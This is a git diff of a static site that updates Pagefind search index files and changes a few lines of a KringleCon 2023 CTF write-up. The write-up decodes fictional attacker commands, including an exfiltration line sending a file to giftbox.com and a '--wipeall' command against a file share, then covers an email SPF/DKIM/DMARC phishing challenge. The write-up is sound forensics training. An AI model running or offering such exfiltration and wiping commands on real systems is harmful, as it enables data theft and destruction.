diff --git a/pagefind/fragment/en-us_3f5b2db.pf_fragment b/pagefind/fragment/en-us_e38046e.pf_fragment
similarity index 94%
rename from pagefind/fragment/en-us_3f5b2db.pf_fragment
rename to pagefind/fragment/en-us_e38046e.pf_fragment
index a099c4ab..b459449e 100644
Binary files a/pagefind/fragment/en-us_3f5b2db.pf_fragment and b/pagefind/fragment/en-us_e38046e.pf_fragment differ
diff --git a/pagefind/index/en-us_e5ddd69.pf_index b/pagefind/index/en-us_0adde87.pf_index
similarity index 65%
rename from pagefind/index/en-us_e5ddd69.pf_index
rename to pagefind/index/en-us_0adde87.pf_index
index 04d53710..0e9c0998 100644
Binary files a/pagefind/index/en-us_e5ddd69.pf_index and b/pagefind/index/en-us_0adde87.pf_index differ
diff --git a/pagefind/index/en-us_2856191.pf_index b/pagefind/index/en-us_2856191.pf_index
new file mode 100644
index 00000000..096f000e
Binary files /dev/null and b/pagefind/index/en-us_2856191.pf_index differ
diff --git a/pagefind/index/en-us_2e1440e.pf_index b/pagefind/index/en-us_2e1440e.pf_index
deleted file mode 100644
index 5ba231c1..00000000
Binary files a/pagefind/index/en-us_2e1440e.pf_index and /dev/null differ
diff --git a/pagefind/index/en-us_48f05fe.pf_index b/pagefind/index/en-us_48f05fe.pf_index
deleted file mode 100644
index 91d1a6e4..00000000
Binary files a/pagefind/index/en-us_48f05fe.pf_index and /dev/null differ
diff --git a/pagefind/index/en-us_6bd9e45.pf_index b/pagefind/index/en-us_6bd9e45.pf_index
deleted file mode 100644
index 7825f3d9..00000000
Binary files a/pagefind/index/en-us_6bd9e45.pf_index and /dev/null differ
diff --git a/pagefind/index/en-us_83d88d5.pf_index b/pagefind/index/en-us_83d88d5.pf_index
new file mode 100644
index 00000000..4cb87b72
Binary files /dev/null and b/pagefind/index/en-us_83d88d5.pf_index differ
diff --git a/pagefind/index/en-us_8c97b77.pf_index b/pagefind/index/en-us_8c97b77.pf_index
new file mode 100644
index 00000000..68951097
Binary files /dev/null and b/pagefind/index/en-us_8c97b77.pf_index differ
diff --git a/pagefind/index/en-us_982e17a.pf_index b/pagefind/index/en-us_982e17a.pf_index
new file mode 100644
index 00000000..83e8d440
Binary files /dev/null and b/pagefind/index/en-us_982e17a.pf_index differ
diff --git a/pagefind/index/en-us_ba6833d.pf_index b/pagefind/index/en-us_ba6833d.pf_index
deleted file mode 100644
index 9d772c94..00000000
Binary files a/pagefind/index/en-us_ba6833d.pf_index and /dev/null differ
diff --git a/pagefind/index/en-us_c41d634.pf_index b/pagefind/index/en-us_c41d634.pf_index
deleted file mode 100644
index 84a81f3d..00000000
Binary files a/pagefind/index/en-us_c41d634.pf_index and /dev/null differ
diff --git a/pagefind/index/en-us_d8bd351.pf_index b/pagefind/index/en-us_d8bd351.pf_index
new file mode 100644
index 00000000..0a45204c
Binary files /dev/null and b/pagefind/index/en-us_d8bd351.pf_index differ
diff --git a/pagefind/pagefind-entry.json b/pagefind/pagefind-entry.json
index ff04895a..97963975 100644
--- a/pagefind/pagefind-entry.json
+++ b/pagefind/pagefind-entry.json
@@ -1 +1 @@
-{"version":"1.0.3","languages":{"en-us":{"hash":"en-us_84d7c28ab35c2","wasm":"en-us","page_count":59}}}
\ No newline at end of file
+{"version":"1.0.3","languages":{"en-us":{"hash":"en-us_cba0324d8ddbf","wasm":"en-us","page_count":59}}}
\ No newline at end of file
diff --git a/pagefind/pagefind.en-us_84d7c28ab35c2.pf_meta b/pagefind/pagefind.en-us_84d7c28ab35c2.pf_meta
deleted file mode 100644
index 9049e688..00000000
Binary files a/pagefind/pagefind.en-us_84d7c28ab35c2.pf_meta and /dev/null differ
diff --git a/pagefind/pagefind.en-us_cba0324d8ddbf.pf_meta b/pagefind/pagefind.en-us_cba0324d8ddbf.pf_meta
new file mode 100644
index 00000000..c287fac5
Binary files /dev/null and b/pagefind/pagefind.en-us_cba0324d8ddbf.pf_meta differ
diff --git a/post/kringlecon-2023-writeup/index.html b/post/kringlecon-2023-writeup/index.html
index c9fb3973..d9c1d869 100644
--- a/post/kringlecon-2023-writeup/index.html
+++ b/post/kringlecon-2023-writeup/index.html
@@ -1094,10 +1094,10 @@ these are then rearranged in reverse and the trailing -join '' join
print(''.join(map(chr, encoded)))
This yields the following decoded version of the command:
downwithsanta.exe -exfil C:\\Desktop\\NaughtNiceList.docx \\giftbox.com\file
Here we notice the attacker using an executable called downwithsanta.exe with the -exfil flag to probably exfiltrate the NaughtyNiceList.docx to giftbox.com.
Answer: giftbox.com
Wow! You decoded those secret messages with easy! You’re a rockstar. It seems like we’re getting near the end of this investigation, but we need your help with one more thing…
We know that the attackers stole Santa’s naughty or nice list. What else happened? Can you find the final malicious command the attacker ran?
Let’s decode the final powershell encoded command. As an aside, this coincides to be the last command the attacker ran if we removed the -enc filter.
echo QzpcV2luZG93c1xTeXN0ZW0zMlxkb3dud2l0aHNhbnRhLmV4ZSAtLXdpcGVhbGwgXFxcXE5vcnRoUG9sZWZpbGVzaGFyZVxcYyQ= | base64 -d
-This decodes to the following powershell command:
C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$
+This decodes to the following powershell command:
C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$
This shows the attacker running the downwithsanta.exe executable.
Answer: downwithsanta.exe
In the previous decoded command we also noted that the attacker used the --wipeall with the executable.
Answer: --wipeall
After submitting all the answers, we are asked to complete our objective in HHC by submitting the output of the following command:
print base64_decode_tostring('QmV3YXJlIHRoZSBDdWJlIHRoYXQgV29tYmxlcw==')
-This decodes to Beware the Cube that Wombles. We submit this in our objectives tab and mark this complete.

Attention, Digital Defenders! You’ve entered the realm of the Phishing Detection Agency, where advanced AI meets human insight. It’s been reported that AI has started hallucinating, and it’s up to you to discern the reality behind these emails.
Key: In the shadow-laden corridors of our menu, the Phishing link casts a crimson hue, a siren’s call warning that the number of deceitful emails is amiss. Should our digital sleuthing align perfectly with the cunning of these tricksters, watch as it transforms, glowing an emerald green in triumphant success.
Collaboration with ChatNPT: In our ongoing battle against phishing, we’ve enlisted ChatNPT to preliminarily flag potential phishing attempts. These flagged emails are stored in the Phishing Folder. However, AI isn’t foolproof! It’s up to you, the astute investigator, to dive into these emails and confirm their legitimacy. Cross-reference with our DNS records, apply your knowledge of SPF, DKIM, and DMARC, and ensure that only true phishing threats remain in the Phishing Folder. Your keen eye for detail is crucial in outsmarting these digital tricksters!
Your mission: Navigate through our virtual vault of emails, employ your knowledge of SPF, DKIM, and DMARC, and identify those deceptive, phishing attempts.

Welcome to the Geese Islands Email Security Overview. This page serves as a guide to understanding the key components of email authentication and security for our domain. Below, you will find detailed information about our SPF, DKIM, and DMARC records – the three pillars that fortify our email communications against phishing and spoofing attacks. Each section provides insights into what these records are, their importance in maintaining email integrity, and how they are configured for the utmost security of our digital correspondence.
| Domain | Type | Value |
|---|---|---|
| geeseislands.com | TXT | v=spf1 a:mail.geeseislands.com -all |
| Domain | Type | Value |
|---|---|---|
| geeseislands.com | TXT | v=DKIM1;t=s;p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDjtqsLqwecFGF7AmP+Siln86O1v9NOKJw4ZsEHDV5fo0Vjj0qNPyyARKSkDmnIKjnzLGUUQO31Fr+vdZU61IaI9/ZD39WJKaAeX96uQ65mRQqqPVYxPLN5OvuFRmIHJ/TgOkD6z5/7VM7Zs1kw5Qnl04FmOLwWd00D+uNZnj8TCwIDAQAB |
| Domain | Type | Value |
|---|---|---|
| geeseislands.com | TXT | v=DMARC1; p=reject; pct=100; rua=mailto:dmarc-reports@geeseislands.com |

For any of the emails having the DKIM domain (d) parameter mail.geeseislands.com, DMARC as Pass and optionally SPF as pass,
-we mark them safe. If the values differ or the domain is entirely different, we mark it as phishing.
These were all the challenges that I could solve before other matters took precedence. I hope you learned something or at the very least, were amused by my less elegant way of solving things.
Bye now.